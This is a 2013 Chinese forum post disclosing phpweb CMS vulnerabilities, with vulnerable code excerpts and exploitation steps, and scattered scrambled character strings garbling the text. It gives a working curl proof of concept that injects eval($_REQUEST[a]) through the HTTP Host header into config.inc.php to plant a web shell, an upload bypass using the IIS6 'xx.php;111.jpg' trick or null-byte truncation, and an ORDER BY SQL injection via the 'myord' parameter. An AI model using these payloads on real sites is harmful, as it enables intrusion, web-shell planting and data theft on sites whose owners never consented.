找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2968|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
& X6 N+ X, d5 V4 p7 J; }* r6 X
6 X6 y/ P6 T. `- n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
* q" L6 [1 G) X2 i4 R
: K) h; T5 w2 ?1 L鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
# o) @; V- @6 P; `. z+ [/ y鸡肋2: 有一定安全常识的站长都会删掉 install 目录: |6 K& ?& V7 B" y3 v

; E; E, v( G6 r% E3 W5 n虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
5 n- W0 ~$ p+ d* |: P  I0 b
6 F1 B: d2 c( _4 a& q5 L6 n; }分析:+ h9 V6 j& j; ?
9 `% x3 }& k, N' b! n; E

" H, U) Y6 Z, d' r$ G7 u$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
1 I! v& g$ o& m# N" ^; i . a  ]$ n) d+ @$ x" o$ p
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);- [+ ?! p% A& P; u2 C3 k. |3 `
                                            $filestr=str_replace(" ","",$filestr);
# k% x$ ]. ~7 @  _! ?7 u                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);, F% a. W) U0 {
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
0 q; f% D& ]+ q0 O2 Z4 x0 e                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
7 }9 N, W$ ?) z! {, C                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ t' L+ d0 p% F- t0 V- h4 D                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( w, _( t$ j2 r- x                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);+ n9 P- b' O! k; z. @
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- Y4 Q! B7 D3 j
& F( ]+ C5 Y, P) |4 t( j, i8 h
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
$ U+ {8 ^/ K7 \% ?% {- F$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
, i6 i( ^$ H! B$ K 0 c- X$ @' v1 v  j: ]( B% q0 N
poc:3 Y# T. L/ a( T1 K4 V3 B

) q1 a2 Y4 M) s5 O  Z! j6 U" {?
: n" c: u+ Y' j1
, k8 x$ X" c; P& w! z0 Rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"( N  `5 F( O% U* G
shell地址: /config.inc.php% ?# C* B* b1 a5 U
跟之前的 phpcms一样 需要远程数据库
# b; G# v3 F/ p4 n% N
; {8 g2 J0 R3 T" u# _——————————————————–" z4 L9 t" I8 a
上传漏洞(需要进后台):
5 d& Q* |: O0 t$ m: o! `漏洞文件: /kedit/upload_cgi/upload.php& m: E* v, q$ q+ k2 a4 E$ K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用6 k! F+ k! _% a. t. m. F. O- a' @
4 i( o; P! J% I$ }! N2 Z
3 N1 Y7 M* `8 c
<?php
, g7 d' B. c- L# @; @2 W    define("ROOTPATH", "../../");
' C: f5 B$ r5 c! Q% U. d    include(ROOTPATH."includes/admin.inc.php");2 a9 E, z# {$ b4 ?5 ^
    NeedAuth(0);
$ V  {$ @7 x- [ ' S# P1 L% b9 C8 E& V6 G2 C* y& N
    $dt=date("Ymd",time());) O3 w/ `0 c; I2 [# U$ ~- c3 H
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){5 _0 M' Q2 \! u3 \6 p6 w4 Q+ j
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 C7 C" N4 l" `. U    }# s: u' C+ q' ?, j* c  E; y7 M  G: _3 |

  z- c7 s+ G$ \; N! t& O$ b* q    //文件保存目录路径
0 \' A- E0 t; f& k" H    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( S- G/ O" Y- y  U5 x
    echo $save_path;5 f7 i6 e6 ?( i- S. G) r1 O. |) ?
    //文件保存目录URL
# @2 y4 y1 [4 r# _) w; W9 X; G3 B    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
' k% z5 ~- @0 |& T% }- ^% L9 }
: \. b. [/ }, {& l" }    //定义允许上传的文件扩展名+ W1 a$ q: h5 R  X9 W0 t1 A3 ^7 Y% t6 N5 y
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- L! [# i! t* L$ s: R% B: L
4 L$ ^- z; Y+ ^; Q# }    //最大文件大小
+ B# y+ g% h2 Z4 X( t7 Y* k7 [    $max_size = 1000000;
" }& f# T/ G- W 1 c) G% U# [0 c" i! j
    //更改目录权限' x: P; d1 {. J0 Z- P; R
    @mkdir($save_path, 0777);
6 _3 u# e6 e4 ~+ b! N+ y
- t- r/ R; ~' k8 n+ [' B# E    //文件的全部路径5 L$ ]2 R3 u, K  X2 S* Z( Q
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
; ]- V( J2 Q2 }- j & }% e' B: p6 V/ E- E1 T
    //文件URL. {5 l1 V  i, u
    $file_url = $save_url.$_POST['fileName'];% R) q. `( v1 l: X) I
//有上传文件时" V/ T! ]/ n1 T3 ?
    if (empty($_FILES) === false) {
  t5 p2 j( }* j+ a 7 T) J8 V, V7 U0 A1 J0 \8 \
            //原文件名
7 @8 E8 j3 @5 z, z; G% g: O            $file_name = $_FILES['fileData']['name'];5 M) m( J6 w1 b
            //服务器上临时文件名/ B: G* U: [9 V$ T6 c. c
            $tmp_name = $_FILES['fileData']['tmp_name'];. A% X2 d* ?( ^0 b  `* R
            //文件大小
! \! p6 H8 W( i. R, M# k) U            $file_size = $_FILES['fileData']['size'];
% m- g9 O2 T- c1 I            //检查目录
! ^& y( d" k# V! Y. b5 F2 X& b            if (@is_dir($save_path) === false) {
+ y( j! w6 z' i                    alert("上传目录不存在。");; a& s( ^) J/ k; W
            }0 R0 ?6 g' }( _  Y4 a
            //检查目录写权限
7 @. w1 z; o) S, a5 f/ y            if (@is_writable($save_path) === false) {2 b5 {7 G% \6 @; y# o) {1 v& B; l
                    alert("上传目录没有写权限。");9 o% E3 o: x  f9 B5 {
            }& |! V& X  L1 ]! _4 {
            //检查是否已上传8 I: ]3 o! Y  D6 I' Z8 Q4 a) ~
            if (@is_uploaded_file($tmp_name) === false) {
  a/ t9 |3 h1 |4 Y( w. C                    alert("临时文件可能不是上传文件。");
- T# w0 h$ ^5 n9 m6 A) O& v            }
1 ]1 e  a' L$ g7 p! J            //检查文件大小! a, j. A" P) R7 E
            if ($file_size > $max_size) {
$ H4 S1 ?% s( p# Q9 P                    alert("上传文件大小超过限制。");- g) Y4 |3 f1 V+ T. d$ B
            }
9 l* S' E4 r8 ]            //获得文件扩展名
+ f& r0 f* f( M4 ?2 y            $temp_arr = explode(".", $_POST['fileName']);( m# o' \, Y& Y3 f
            $file_ext = array_pop($temp_arr);) V0 s: q  p) O  j3 f- k6 T  B% m4 I
            $file_ext = trim($file_ext);1 A( t2 K4 m- J% T  ^
            $file_ext = strtolower($file_ext);
. n4 `9 d0 u' {0 A9 Q 0 U0 |% U( Y& Y$ q
            //检查扩展名   ( e& u. S) z; W* X
            if (in_array($file_ext, $ext_arr) === false) {     
2 y* D! J( W4 E1 _                    alert("上传文件扩展名是不允许的扩展名。");- K, o+ x, o3 l. C. w
            }$ L; o' k" Y# O9 {

) Z2 ~. C5 a" n0 _            //移动文件   7 }. e6 I; M5 D, ?& q) l5 y. M
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
9 E/ A% i' r# D: p            if (move_uploaded_file($tmp_name, $file_path) === false) {4 f& y( l9 r% q+ G
                    alert("上传文件失败。");: }5 F+ x; M( f5 P% _
            }1 z  L+ p% L+ q- h# A

- w+ R+ w( o* K( s, F9 C/ i            @chmod($file_path,0666);0 d% ~) B" ?6 t
1 A. i' ^3 z' p+ L4 k
    ?>
; m% B6 I& @$ H6 Y/ u抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2277 i$ Z% t& ~, [" b$ ]0 Y
4 u9 p. Z! d* Y4 e7 s/ J4 t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过  z+ a4 H( j5 B0 P0 t

- h* q! R3 _9 y: L——————————————————6 u# @0 Z$ r3 R/ c
注入漏洞:" L) w9 I0 N9 g+ s( U7 S, z
漏洞文件:search/module/search.php
# S( j9 K+ j) }* B2 F3 O( G/search/index.php?key=1&myord=1 [sqlinjection]
" S# W% p5 l! h; ]( G" Q7 S7 D % t3 A0 ^4 M- b- w, n: x! \! a# P

$ N! A' F: ]! i" J& m0 c$ }7 W& a<?php* F3 e: {2 f5 o; P& S7 C5 J# w
   //       ... 省略 n 行...0 B; C  W5 Z/ z8 M
   //第18行:  o# X- C0 ^0 I! v6 v' y
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
! B( N% z/ {9 _. K) C$ |" @# ^           $page=htmlspecialchars($_GET["page"]);* m1 ~3 I" t4 D/ |" ]
           $myord=htmlspecialchars($_GET["myord"]);6 s3 r1 q4 q$ ]3 c* F8 z

& f8 `$ _& U- d* m- f! m6 B* n. O   //       ... 省略 n 行...1 x# t* I: y4 J! K3 G8 p, [
   $key,$myord 两个参数带入查询6 i. j& ^6 P* Y4 m& u8 T; J0 ]
   //第47行 $key:
( {2 @4 C. U+ f6 _ 1 \. ]: _+ e6 U) f* \* Q! n
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 o2 ]% J) a) `3 h' i) z
  ^' [5 j  z2 B3 T1 _! p$ X   //第197行 $myord
) l1 t* D' ^9 b8 \$ n- M; `   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入$ r5 R1 ~$ V2 \, z$ q8 k9 h+ F

3 M0 x1 a  \8 t$ Z  J   ?>
" l/ R" [0 v$ q, ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表